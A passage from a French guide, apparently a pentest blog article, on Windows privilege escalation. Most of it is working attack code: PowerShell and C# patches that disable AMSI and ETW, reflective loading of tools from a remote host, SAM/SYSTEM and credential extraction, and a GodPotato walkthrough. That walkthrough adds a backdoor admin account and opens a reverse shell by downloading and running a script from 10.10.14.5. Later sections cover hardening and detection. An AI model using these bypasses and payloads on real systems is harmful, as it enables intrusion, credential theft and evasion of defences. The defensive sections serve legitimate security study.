$ref = [Ref].Assembly.GetType('System.Management.Automation.Amsi'+'Utils')
$field = $ref.GetField('amsiInit'+'Failed','NonPublic,Static')
$field.SetValue($null,$true)
# Méthode 2 : Patch de AmsiScanBuffer via reflection (plus robuste)
$win32 = @"
using System;
using System.Runtime.InteropServices;
public class W32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,
uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $win32
$amsiDll = [W32]::LoadLibrary("am" + "si.dll")
$amsiScanBuffer = [W32]::GetProcAddress($amsiDll, "Amsi" + "Scan" + "Buffer")
$p = 0
[W32]::VirtualProtect($amsiScanBuffer, [uint32]5, 0x40, [ref]$p) | Out-Null
$patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $amsiScanBuffer, 6)
# Méthode 3 : PowerShell version 2 (si disponible - AMSI n'existe pas en PSv2)
powershell.exe -version 2 -ep bypass -file script.ps1
# Méthode 4 : Chargement direct d'assembly .NET compilée (évite l'inspection de script)
$bytes = (New-Object Net.WebClient).DownloadData("http://10.10.14.5/SharpUp.exe")
$assembly = [Reflection.Assembly]::Load($bytes)
$assembly.EntryPoint.Invoke($null, @(,@("audit")))
# Méthode 5 : ETW patch (désactiver le provider ETW qui alimente AMSI/Defender)
# Patch de EtwEventWrite pour court-circuiter la télémétrie
$etw = [Ref].Assembly.GetType('System.Diagnostics.Eventing.EventProvider')
$etwField = $etw.GetField('m_enabled','NonPublic,Instance')
# ... manipulation du provider
# Méthode 6 : Obfuscation à la volée (chaque exécution est unique)
# Utiliser Invoke-Obfuscation ou des techniques manuelles de string splitting
$cmd = "Inv" + "oke-" + "Mimi" + "katz"
IEX $cmd
// Patch AMSI en C# - intégrable dans un loader custom
using System;
using System.Runtime.InteropServices;
public class AmsiBypass
{
[DllImport("kernel32.dll")]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll")]
static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32.dll")]
static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,
uint flNewProtect, out uint lpflOldProtect);
public static bool Execute()
{
IntPtr amsiDll = LoadLibrary("amsi.dll");
if (amsiDll == IntPtr.Zero) return false;
IntPtr amsiScanBuffer = GetProcAddress(amsiDll, "AmsiScanBuffer");
if (amsiScanBuffer == IntPtr.Zero) return false;
// Patch : mov eax, 0x80070057 (E_INVALIDARG) ; ret
// Cela fait retourner AMSI_RESULT_CLEAN pour tout contenu scanné
byte[] patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
uint oldProtect;
if (!VirtualProtect(amsiScanBuffer, (UIntPtr)patch.Length, 0x40, out oldProtect))
return false;
Marshal.Copy(patch, 0, amsiScanBuffer, patch.Length);
// Restaurer les protections mémoire originales
VirtualProtect(amsiScanBuffer, (UIntPtr)patch.Length, oldProtect, out _);
return true;
}
}
Au-delà d'AMSI en 2026 : Les solutions EDR modernes (CrowdStrike Falcon, SentinelOne, Microsoft Defender for Endpoint) ne reposent plus uniquement sur AMSI. Elles surveillent les ETW providers (Event Tracing for Windows), les appels syscall directs via instrumentation kernel, les hooks sur ntdll.dll, les comportements suspects comme l'injection de processus ou l'accès à LSASS, et les indicateurs de compromission (IoC) en temps réel. Un bypass AMSI seul ne suffit plus pour opérer sans détection. L'approche complète en 2026 combine : unhooking de ntdll.dll (restaurer les bytes originaux pour contourner les hooks EDR), ETW patching (désactiver la télémétrie), AMSI bypass (contourner l'inspection de contenu), utilisation de syscalls indirects (appeler directement les fonctions kernel sans passer par les hooks), et exécution via BOF (Beacon Object Files) ou assemblies .NET chargées en mémoire. Les outils comme Havoc C2, Sliver ou Brute Ratel intègrent ces techniques nativement.
Exploitation avancée
Exploitation de SeBackupPrivilege, SeRestorePrivilege et Credentials Stockés
Les privilèges SeBackupPrivilege et SeRestorePrivilege sont assignés par défaut aux membres du groupe Backup Operators et permettent respectivement de lire et écrire n'importe quel fichier du système, indépendamment des ACL. Ces privilèges sont souvent sous-estimés car ils ne permettent pas directement l'exécution de code, mais combinés avec l'extraction SAM/SYSTEM ou le DLL hijacking, ils offrent un chemin fiable et discret vers SYSTEM. Au-delà de ces privilèges spécifiques, de nombreuses sources de credentials existent localement et peuvent révéler des mots de passe d'escalade.
# Vérifier la présence de SeBackupPrivilege
whoami /priv | findstr "SeBackupPrivilege"
# Extraction SAM/SYSTEM via robocopy avec backup semantics (/B flag)
robocopy "C:\Windows\System32\config" "C:\temp" SAM SYSTEM SECURITY /B
# Script PowerShell pour lecture avec FILE_FLAG_BACKUP_SEMANTICS
Add-Type @"
using System;
using System.IO;
using System.Runtime.InteropServices;
using Microsoft.Win32.SafeHandles;
public class BackupReader
{
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
static extern SafeFileHandle CreateFile(string lpFileName, uint dwDesiredAccess,
uint dwShareMode, IntPtr lpSecurityAttributes, uint dwCreationDisposition,
uint dwFlagsAndAttributes, IntPtr hTemplateFile);
const uint GENERIC_READ = 0x80000000;
const uint FILE_SHARE_READ = 0x1;
const uint OPEN_EXISTING = 3;
const uint FILE_FLAG_BACKUP_SEMANTICS = 0x02000000;
public static void CopyFile(string src, string dst)
{
using (var handle = CreateFile(src, GENERIC_READ, FILE_SHARE_READ,
IntPtr.Zero, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, IntPtr.Zero))
{
if (handle.IsInvalid)
throw new Exception("CreateFile failed: " + Marshal.GetLastWin32Error());
using (var fs = new FileStream(handle, FileAccess.Read))
using (var output = File.Create(dst))
fs.CopyTo(output);
}
}
}
"@
[BackupReader]::CopyFile("C:\Windows\System32\config\SAM", "C:\temp\SAM")
[BackupReader]::CopyFile("C:\Windows\System32\config\SYSTEM", "C:\temp\SYSTEM")
# SeRestorePrivilege -> écriture arbitraire -> DLL hijack d'un service SYSTEM
# Étape : identifier un service SYSTEM qui charge une DLL depuis un chemin prévisible
# puis écrire notre DLL malveillante dans ce chemin via backup semantics en écriture
Extraction de credentials stockés localement
# Credentials dans le Credential Manager Windows
cmdkey /list
# Extraction via mimikatz : vault::cred et vault::list
# Fichiers de configuration IIS (web.config avec connection strings)
Get-ChildItem -Path C:\inetpub -Include web.config,appsettings.json -File -Recurse -ErrorAction SilentlyContinue |
Select-String -Pattern "connectionString|password|pwd|secret|apiKey" |
Select-Object Path, LineNumber, Line
# Fichiers unattend.xml / sysprep.xml (mots de passe d'installation en base64)
$unattendPaths = @(
"C:\unattend.xml", "C:\Windows\Panther\unattend.xml",
"C:\Windows\Panther\Unattend\Unattend.xml",
"C:\Windows\System32\Sysprep\unattend.xml",
"C:\Windows\System32\Sysprep\Panther\unattend.xml"
)
$unattendPaths | Where-Object { Test-Path $_ } | ForEach-Object {
Write-Host "[+] Trouvé: $_" -ForegroundColor Green
Select-String -Path $_ -Pattern "Password|UserAccount|AutoLogon"
}
# McAfee SiteList.xml (credentials de mise à jour)
Get-ChildItem -Path "C:\ProgramData\McAfee" -Include SiteList.xml -Recurse -ErrorAction SilentlyContinue
# Variables d'environnement (parfois contiennent des tokens/API keys)
[Environment]::GetEnvironmentVariables("Machine") | Format-Table -AutoSize
[Environment]::GetEnvironmentVariables("User") | Format-Table -AutoSize
# GPP Passwords (si la machine est jointe au domaine)
findstr /S /I "cpassword" "\\$env:USERDNSDOMAIN\SYSVOL\$env:USERDNSDOMAIN\Policies\*.xml" 2>$null
Pour une analyse approfondie des vecteurs d'extraction de credentials en environnement Active Directory, consultez notre article sur la post-exploitation Active Directory.
Exploitation avancée
Outils d'Escalade : Arsenal Offensif et Sélection Contextuelle
L'écosystème d'outils d'escalade de privilèges Windows est riche et en constante évolution. Chaque outil possède ses forces, ses limitations et son profil de détection spécifique. La maîtrise de plusieurs outils permet de s'adapter aux différents contextes opérationnels et aux défenses rencontrées. Le choix de l'outil dépend de trois facteurs principaux : la phase d'attaque (énumération vs exploitation), le profil de détection acceptable (pentest déclaré vs red team furtif) et la compatibilité technique (version .NET disponible, architecture, contraintes mémoire).
| Outil | Type | Langage | Usage principal | Détection AV 2026 |
|---|---|---|---|---|
| WinPEAS | Énumération complète | C#/.NET 4.0 | Scan exhaustif de tous les vecteurs d'escalade | Haute (signatures connues) |
| PowerUp (PowerSploit) | Énumération + Exploit | PowerShell | Services, DLL, registre, tokens | Très haute (AMSI) |
| SharpUp | Énumération | C# | Équivalent compilé de PowerUp, évite AMSI | Moyenne |
| Seatbelt | Collecte d'information | C# | Audit de sécurité ciblé par catégorie | Moyenne |
| PrivescCheck | Énumération | PowerShell | Alternative moderne et maintenue à PowerUp | Moyenne (contournable) |
| GodPotato | Exploit | C# | Impersonation SYSTEM via RPCSS | Haute |
| PrintSpoofer | Exploit | C++ | Impersonation via Print Spooler | Très haute |
| CoercedPotato | Exploit | C# | Multi-coercion automatique | Moyenne (plus récent) |
| Mimikatz | Post-exploitation | C | Extraction credentials (SAM, LSASS, DPAPI) | Très haute |
| nanodump | Post-exploitation | C | Dump LSASS avec évasion EDR | Faible |
| SharpDPAPI | Post-exploitation | C# | Extraction secrets DPAPI | Moyenne |
| Rubeus | Post-exploitation | C# | Attaques Kerberos (tickets, roasting) | Haute |
| KDU | Exploit kernel | C | Chargement de drivers non signés via BYOVD | Moyenne |
En contexte de red team où la furtivité est prioritaire, on privilégie les outils compilés custom (recompilation depuis le source avec obfuscation), les BOF (Beacon Object Files) exécutés en mémoire via un agent C2, et les techniques LOLBin (Living Off The Land) qui utilisent exclusivement des binaires Microsoft légitimes. En pentest déclaré où la détection n'est pas un enjeu, WinPEAS et PowerUp offrent la couverture la plus complète et le gain de temps maximal.
Comparaison des Vecteurs : Efficacité, Détectabilité et Contexte d'Application
Le choix de la technique d'escalade dépend du contexte opérationnel : les privilèges actuels du token, les défenses en place (AV, EDR, AMSI), la nécessité de discrétion (red team vs pentest), la tolérance au risque de crash (production vs lab) et les contraintes de temps. Le tableau suivant compare les principales techniques selon ces critères pour aider à la prise de décision opérationnelle.
| Technique | Prérequis minimum | Détectabilité EDR | Fiabilité | Risque BSOD | Furtivité post-exploit | Temps d'exécution |
|---|---|---|---|---|---|---|
| GodPotato | SeImpersonatePrivilege | Moyenne | Très haute | Nul | Moyenne | Immédiat |
| PrintSpoofer | SeImpersonate + Spooler actif | Haute (signature connue) | Haute | Nul | Faible | Immédiat |
| Service binpath modification | SERVICE_CHANGE_CONFIG | Faible | Haute | Nul | Haute | Après restart |
| Service binary replacement | Write sur l'exe du service | Faible | Haute | Nul | Haute | Après restart |
| DLL Hijacking (phantom) | Write dans répertoire PATH/app | Très faible | Haute | Nul | Très haute | Après trigger |
| UAC Bypass (COM moniker) | Groupe Administrators (Medium) | Moyenne | Haute | Nul | Moyenne | Immédiat |
| AlwaysInstallElevated | Policy activée (rare) | Faible | Très haute | Nul | Haute | Immédiat |
| Kernel exploit récent | Version non patchée | Variable | Variable | Moyen à élevé | Variable | Immédiat |
| BYOVD | Admin (charger driver) | Moyenne (driver signé) | Haute | Moyen | Moyenne | Immédiat |
| Token stealing (SeDebug) | SeDebugPrivilege (admin) | Très haute (accès lsass/winlogon) | Très haute | Nul | Faible | Immédiat |
| Unquoted service path | Write dans répertoire intermédiaire | Très faible | Haute | Nul | Très haute | Après restart |
| Scheduled task abuse | Write sur script/binaire | Très faible | Haute | Nul | Très haute | Après trigger/schedule |
Stratégie d'Escalade : Arbre de Décision et Cas Pratiques
Face à un système Windows à escalader, l'approche méthodique suit un arbre de décision basé sur le contexte actuel. L'énumération initiale détermine la branche à suivre, et plusieurs chemins peuvent être tentés en parallèle pour maximiser les chances de succès tout en minimisant le bruit généré. La priorité va toujours aux techniques les plus silencieuses et les moins intrusives — on ne tente un kernel exploit que si toutes les autres options sont épuisées.
# Script d'arbre de décision automatisé
function Get-EscalationPath {
$paths = @()
$privs = whoami /priv
$groups = whoami /groups
# Branche 1 : SeImpersonatePrivilege -> Potato
if ($privs -match "SeImpersonatePrivilege.*Enabled") {
$paths += "[CRITICAL] POTATO: GodPotato (universel) ou PrintSpoofer (si Spooler actif)"
}
# Branche 2 : SeDebugPrivilege -> Token Stealing direct
if ($privs -match "SeDebugPrivilege.*Enabled") {
$paths += "[CRITICAL] TOKEN_STEAL: OpenProcess(winlogon) -> DuplicateToken -> CreateProcess"
}
# Branche 3 : SeBackupPrivilege -> Extraction SAM
if ($privs -match "SeBackupPrivilege") {
$paths += "[HIGH] BACKUP: robocopy /B SAM+SYSTEM -> secretsdump offline -> pass-the-hash"
}
# Branche 4 : Groupe Administrators + Medium integrity -> UAC bypass
if ($groups -match "BUILTIN\\Administrators" -and $groups -match "Medium Mandatory Level") {
$paths += "[HIGH] UAC_BYPASS: ICMLuaUtil COM / Fodhelper / CMSTP / SilentCleanup"
}
# Branche 5 : AlwaysInstallElevated
$aie1 = reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated 2>$null
$aie2 = reg query "HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated 2>$null
if ($aie1 -match "0x1" -and $aie2 -match "0x1") {
$paths += "[CRITICAL] MSI: AlwaysInstallElevated -> msfvenom MSI -> msiexec /quiet"
}
# Branche 6 : Services avec chemins non quotés
$unquoted = Get-CimInstance Win32_Service | Where-Object {
$_.PathName -and $_.PathName -notmatch '^"' -and $_.PathName -match '.+\s.+' -and
$_.PathName -notmatch '^C:\\Windows\\' -and $_.StartName -match "System|LocalService"
}
if ($unquoted) {
$paths += "[MEDIUM] UNQUOTED: $($unquoted.Count) service(s) - vérifier permissions répertoires"
}
# Branche 7 : Services avec binaires inscriptibles
$modifiable = Get-CimInstance Win32_Service | Where-Object {
$_.StartName -match "System" -and $_.PathName
} | ForEach-Object {
$p = $_.PathName -replace '"', '' -replace '\s+/.*', ''
if ((Test-Path $p) -and ((Get-Acl $p).Access | Where-Object {
$_.FileSystemRights -match "Write|Modify" -and $_.IdentityReference -match "Users|Everyone"
})) { $_.Name }
}
if ($modifiable) {
$paths += "[HIGH] SERVICE_BINARY: $($modifiable -join ', ') - binaire(s) inscriptible(s)"
}
# Affichage
Write-Host "`n=== CHEMINS D'ESCALADE IDENTIFIÉS ===" -ForegroundColor Cyan
if ($paths.Count -gt 0) {
$paths | ForEach-Object { Write-Host " $_" -ForegroundColor Green }
} else {
Write-Host " [-] Aucun chemin rapide. Approfondir :" -ForegroundColor Yellow
Write-Host " - Tâches planifiées avec scripts modifiables" -ForegroundColor Yellow
Write-Host " - DLL manquantes (ProcMon sur services SYSTEM)" -ForegroundColor Yellow
Write-Host " - Kernel exploits (systeminfo -> WES-NG)" -ForegroundColor Yellow
Write-Host " - Credentials locaux (historique PS, web.config, unattend.xml)" -ForegroundColor Yellow
}
}
Get-EscalationPath
Cas pratique : escalade depuis IIS AppPool via GodPotato
# Contexte : webshell ou reverse shell en tant que IIS APPPOOL\DefaultAppPool
# Étape 1 : Confirmer le contexte et les privilèges
whoami
# iis apppool\defaultapppool
whoami /priv
# SeImpersonatePrivilege Enabled <-- EXPLOITABLE
# Étape 2 : Transférer GodPotato (via certutil, curl ou upload webshell)
certutil -urlcache -f http://10.10.14.5:8080/GodPotato-NET4.exe C:\Windows\Temp\gp.exe
# Étape 3 : Vérification - exécuter whoami en SYSTEM
C:\Windows\Temp\gp.exe -cmd "cmd /c whoami"
# nt authority\system
# Étape 4 : Actions post-escalade
# Option A : Ajout d'un utilisateur admin pour accès RDP/WinRM
C:\Windows\Temp\gp.exe -cmd "cmd /c net user pentest P@ssw0rd2026! /add"
C:\Windows\Temp\gp.exe -cmd "cmd /c net localgroup administrators pentest /add"
C:\Windows\Temp\gp.exe -cmd "cmd /c net localgroup \"Remote Desktop Users\" pentest /add"
# Option B : Extraction de credentials pour mouvement latéral
C:\Windows\Temp\gp.exe -cmd "cmd /c reg save HKLM\SAM C:\Windows\Temp\s"
C:\Windows\Temp\gp.exe -cmd "cmd /c reg save HKLM\SYSTEM C:\Windows\Temp\y"
# Option C : Reverse shell SYSTEM
C:\Windows\Temp\gp.exe -cmd "cmd /c powershell -ep bypass -c \"IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/rev.ps1')\""
# Étape 5 : Nettoyage
del C:\Windows\Temp\gp.exe
del C:\Windows\Temp\s
del C:\Windows\Temp\y
Cas pratique : escalade via unquoted service path
REM Contexte : utilisateur standard, service vulnérable identifié
REM Service "BackupAgent" avec path: C:\Program Files\Backup Solution\Agent\service.exe
REM RunAs: LocalSystem, StartMode: Auto
REM Étape 1 : Vérifier les permissions sur les répertoires intermédiaires
icacls "C:\Program Files\Backup Solution\"
REM Résultat : BUILTIN\Users:(OI)(CI)(M) = Modify sur le répertoire
REM Étape 2 : Créer le payload au bon emplacement
REM Windows essaiera "C:\Program Files\Backup.exe" avant le vrai path
REM Si on peut écrire dans "C:\Program Files\Backup Solution\" :
REM Le fichier doit s'appeler "Agent.exe" (car l'espace est avant "Agent")
REM Compilation d'un service wrapper minimal
REM (ou msfvenom -p windows/x64/shell_reverse_tcp ... -f exe-service -o Agent.exe)
copy C:\temp\payload-svc.exe "C:\Program Files\Backup Solution\Agent.exe"
REM Étape 3 : Attendre le redémarrage du service ou du système
REM Si on peut restart le service :
sc stop BackupAgent
sc start BackupAgent
REM Étape 4 : Vérifier l'escalade
net localgroup administrators
REM Notre utilisateur ajouté est visible
REM Étape 5 : Nettoyage
del "C:\Program Files\Backup Solution\Agent.exe"
sc start BackupAgent
Défenses, Durcissement et Détection des Escalades
La prévention de l'escalade de privilèges nécessite une approche de défense en profondeur qui combine le durcissement préventif (réduction de surface d'attaque), la détection en temps réel (monitoring et alertes) et la réponse automatisée (isolation et remediation). Chaque vecteur d'attaque dispose de contre-mesures spécifiques, mais c'est la combinaison systématique de ces mesures qui rend l'escalade significativement plus difficile et détectable.
Mesures de durcissement prioritaires classées par impact
# === PRIORITÉ 1 : Supprimer les privilèges dangereux inutiles ===
# Auditer les comptes avec SeImpersonatePrivilege
# GPO : Computer Config > Windows Settings > Security Settings >
# Local Policies > User Rights Assignment > Impersonate a client after authentication
# Ne conserver que : LOCAL SERVICE, NETWORK SERVICE, SERVICE, IIS_IUSRS (si nécessaire)
# === PRIORITÉ 2 : Corriger AlwaysInstallElevated ===
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated /t REG_DWORD /d 0 /f
reg add "HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated /t REG_DWORD /d 0 /f
# === PRIORITÉ 3 : Corriger les chemins de service non quotés ===
Get-CimInstance Win32_Service | Where-Object {
$_.PathName -and $_.PathName -notmatch '^"' -and $_.PathName -match '.+\s.+\.exe' -and
$_.PathName -notmatch '^C:\\Windows\\'
} | ForEach-Object {
Write-Host "Correcting: $($_.Name)" -ForegroundColor Yellow
$quoted = '"' + $_.PathName + '"'
sc.exe config $_.Name binpath= $quoted
}
# === PRIORITÉ 4 : Désactiver le Print Spooler sur les serveurs ===
Stop-Service Spooler -Force
Set-Service Spooler -StartupType Disabled
# === PRIORITÉ 5 : UAC au maximum ===
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 2 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v PromptOnSecureDesktop /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v FilterAdministratorToken /t REG_DWORD /d 1 /f
# === PRIORITÉ 6 : Credential Guard (VBS) ===
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\LSA" /v LsaCfgFlags /t REG_DWORD /d 1 /f
# Prérequis : Secure Boot, TPM 2.0, UEFI, pas de drivers incompatibles
# === PRIORITÉ 7 : Windows Defender ASR rules ===
# Bloquer le vol de credentials depuis LSASS
Set-MpPreference -AttackSurfaceReductionRules_Ids 9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2 -AttackSurfaceReductionRules_Actions Enabled
# Bloquer les process injections
Set-MpPreference -AttackSurfaceReductionRules_Ids 56a863a9-875e-4185-98a7-b882c64b5ce5 -AttackSurfaceReductionRules_Actions Enabled
# Bloquer les appels Win32 depuis les macros Office
Set-MpPreference -AttackSurfaceReductionRules_Ids 92e97fa1-2edf-4476-bdd6-9dd0b4dddc7b -AttackSurfaceReductionRules_Actions Enabled
# === PRIORITÉ 8 : Journalisation avancée ===
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable
auditpol /set /subcategory:"Logon" /success:enable /failure:enable
auditpol /set /subcategory:"Special Logon" /success:enable
# Command line dans les événements de création de processus
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit" /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 1 /f
# === PRIORITÉ 9 : Bloquer les drivers vulnérables (WDAC recommended block list) ===
# Appliquer la Microsoft recommended driver block rules via WDAC ou Intune
# === PRIORITÉ 10 : LSA Protection (RunAsPPL) ===
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f
Détection : événements critiques et règles de corrélation
# Événements Windows critiques pour la détection d'escalade :
# 4672 - Special Logon (privilèges élevés assignés) - correler avec 4624
# 4688 - Process Creation (avec command line) - patterns suspects
# 7045 - Service installed (nouveau service = possible binpath abuse)
# 4697 - Service installed (security log version)
# 1102 - Security log cleared (tentative d'effacement de traces)
# 4657 - Registry value modified (autorun keys)
# Sysmon events essentiels :
# Event 1 - Process creation (hash + parent process + command line)
# Event 7 - Image loaded (DLL hijacking detection)
# Event 8 - CreateRemoteThread (process injection)
# Event 10 - Process access (accès à LSASS = credential dumping)
# Event 11 - File created (dans répertoires sensibles)
# Event 13 - Registry modification (autorun + UAC keys)
# Event 17 - Pipe created (named pipe impersonation)
# Event 18 - Pipe connected (client connecting to attacker pipe)
# Event 25 - Process tampering (process hollowing/ghosting)
# Requête PowerShell pour détecter les accès LSASS suspects (via Security log)
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4663} -MaxEvents 1000 |
Where-Object { $_.Message -match "lsass" -and $_.Message -notmatch "svchost|csrss|wininit" } |
Select-Object TimeCreated, @{N='Process';E={$_.Properties[1].Value}},
@{N='AccessMask';E={$_.Properties[8].Value}}
# Corrélation : processus enfant SYSTEM créé par un parent non-SYSTEM
# C'est l'indicateur le plus fiable d'une escalade réussie
# Implémentation via Sigma rule ou requête KQL dans Azure Sentinel
Pour une approche complète du durcissement Windows en entreprise, notre guide de sécurisation du poste de travail Windows couvre les configurations GPO détaillées, les benchmarks CIS Level 1 et 2, et les stratégies de déploiement progressif.
Services et configurations
FAQ : Questions Fréquentes sur l'Escalade de Privilèges Windows
Comment déterminer rapidement si un système Windows est vulnérable à une escalade de privilèges locale ?
La vérification rapide commence par trois commandes fondamentales exécutables sans aucun outil tiers : whoami /priv révèle les privilèges exploitables (SeImpersonatePrivilege signifie une escalade immédiate via GodPotato), whoami /groups vérifie l'appartenance au groupe Administrators (UAC bypass possible si le niveau d'intégrité est Medium), et wmic service get name,pathname,startmode | findstr /v """ identifie les unquoted service paths. L'exécution de WinPEAS ou PrivescCheck complète cette analyse en quelques minutes avec un rapport structuré. Statistiquement, plus de 80% des machines Windows en entreprise présentent au moins un vecteur d'escalade exploitable — le système est presque toujours vulnérable si les patches ne sont pas strictement à jour, si des logiciels tiers sont installés, ou si des comptes de service disposent de SeImpersonatePrivilege sur des machines accessibles.
Quelle est la différence opérationnelle entre PrintSpoofer et GodPotato et lequel choisir ?
PrintSpoofer exploite spécifiquement le service Print Spooler (SpoolSS) via une requête RPC qui force le service à se connecter à un named pipe contrôlé. Sa limitation principale : le service Spooler doit être actif, ce qui est de moins en moins le cas sur les serveurs modernes depuis PrintNightmare. GodPotato manipule directement le service RPCSS (RPC Subsystem) via le mécanisme d'unmarshalling DCOM — un service fondamental impossible à désactiver. GodPotato fonctionne donc universellement sur toutes les versions Windows de 2012 R2 à 2025, sans aucune dépendance optionnelle. En pratique opérationnelle, on utilise GodPotato en première intention. PrintSpoofer ou EfsPotato ne sont des alternatives que si GodPotato échoue (rare, possible sur des configurations très spécifiques ou en cas de détection EDR ciblée sur GodPotato). CoercedPotato combine automatiquement plusieurs méthodes de coercion et tente chacune jusqu'au succès.
Comment contourner Windows Defender pour exécuter des outils d'escalade sans être détecté ?
L'approche à privilégier dépend du type d'outil. Pour les scripts PowerShell (PowerUp, PrivescCheck), le bypass AMSI par patch mémoire de AmsiScanBuffer est le prérequis — sans lui, le contenu du script est scanné et bloqué avant même l'exécution de la première ligne. Pour les binaires compilés (WinPEAS, SharpUp, GodPotato), trois stratégies complémentaires existent. La recompilation depuis le source avec modification des chaînes de caractères détectées (strings obfuscation) évite la détection statique par signature. Le chargement en mémoire via reflection .NET ([Reflection.Assembly]::Load($bytes)) évite l'écriture sur disque. L'utilisation de loaders custom qui appliquent le bypass AMSI + ETW patch avant le chargement de l'assembly contourne la détection comportementale au niveau .NET. Pour une évasion complète des EDR en 2026, la combinaison minimale est : unhooking ntdll.dll, patch AMSI, patch ETW provider Microsoft-Windows-Threat-Intelligence, et utilisation de syscalls indirects pour les appels sensibles.
Est-il possible de réaliser une escalade de privilèges totalement fileless (sans écriture disque) ?
Certaines techniques sont effectivement fileless au sens strict. Le bypass UAC via modification temporaire du registre HKCU suivi du lancement d'un exécutable auto-élevant (comme fodhelper.exe) ne crée aucun fichier — seule une clé de registre éphémère est utilisée. L'impersonation de token via named pipe s'exécute entièrement en mémoire. Les exploits kernel injectés via reflection .NET ou BOF (Beacon Object Files) dans un agent C2 ne touchent pas le disque. Cependant, les techniques les plus fiables et universelles nécessitent typiquement d'écrire au moins un fichier temporaire : GodPotato est un exécutable, un service binary replacement nécessite un exe sur disque, le DLL hijacking nécessite une DLL. La stratégie pragmatique combine un loader fileless (PowerShell en mémoire avec AMSI bypass) qui télécharge et exécute le payload en mémoire via reflection, limitant l'empreinte disque au strict minimum ou l'éliminant complètement dans les cas favorables.
Exploitation avancée
Quels événements Windows et métriques Sysmon surveiller pour détecter les escalades en temps réel ?
La détection prioritaire cible les indicateurs suivants par ordre d'importance. Sysmon Event 10 avec TargetImage lsass.exe et SourceImage inhabituelle détecte les tentatives de dump LSASS (credential extraction post-escalade). Event ID 7045/4697 détecte l'installation de nouveaux services (binpath abuse). Sysmon Event 17/18 détecte la création de named pipes suspects (attaques Potato). Event ID 4672 combiné à 4688 détecte l'attribution de privilèges SYSTEM à un processus créé par un utilisateur non-SYSTEM (indicateur fort d'escalade réussie). Sysmon Event 13 sur les clés HKCU\Software\Classes\ms-settings et HKCU\Software\Classes\mscfile détecte les tentatives de bypass UAC. La règle de corrélation la plus efficace : alerter sur tout processus dont le parent s'exécute en Medium ou Low integrity mais qui lui-même s'exécute en High ou System integrity — cette transition est l'empreinte universelle d'une escalade réussie, quelle que soit la technique utilisée.
Comment exploiter SeBackupPrivilege sans mimikatz et sans outils détectables ?
SeBackupPrivilege permet de lire n'importe quel fichier via le flag FILE_FLAG_BACKUP_SEMANTICS dans l'appel CreateFile. Sans outil tiers, la commande robocopy /B (flag /B = backup mode) copie les fichiers protégés comme SAM et SYSTEM. Alternativement, diskshadow.exe (outil Microsoft légitime) crée une copie shadow accessible du volume système. Un script PowerShell minimaliste utilisant Add-Type et l'API Win32 CreateFile avec le flag approprié permet la lecture sans aucun binaire suspect. Les fichiers SAM et SYSTEM extraits sont ensuite transférés vers la machine attaquant pour extraction offline avec secretsdump.py (Impacket) — cette extraction offline ne génère aucune alerte sur la machine cible. Le résultat (hash NTLM des comptes locaux) est utilisable en pass-the-hash via CrackMapExec, Impacket ou evil-winrm pour s'authentifier en tant qu'administrateur local sans connaître le mot de passe en clair.
Les attaques Potato sont-elles exploitables dans des environnements cloud (Azure VMs, AWS EC2) ?
Sur les machines virtuelles cloud (Azure VM, AWS EC2, GCP Compute), les mêmes techniques d'escalade locale s'appliquent car le système d'exploitation reste un Windows standard. La particularité réside dans les vecteurs supplémentaires offerts par l'environnement cloud. Sur Azure, le service VM Agent (WindowsAzureGuestAgent) s'exécute en SYSTEM et les extensions VM (Custom Script Extension, Run Command) exécutent du code en SYSTEM — un attaquant avec les droits Azure RBAC appropriés peut déclencher une extension sans même être sur la machine. L'Instance Metadata Service (IMDS) à 169.254.169.254 expose des tokens managed identity exploitables après escalade locale. Sur AWS, le metadata service v1 (sans IMDSv2 forcé) et le SSM Agent offrent des pivots similaires. L'escalade locale vers SYSTEM sur une VM cloud ouvre la porte à la compromission de l'identité cloud de la machine, permettant le mouvement latéral vers d'autres ressources du tenant.
Exploitation avancée
Comment enchaîner l'escalade locale avec le mouvement latéral après avoir obtenu SYSTEM ?
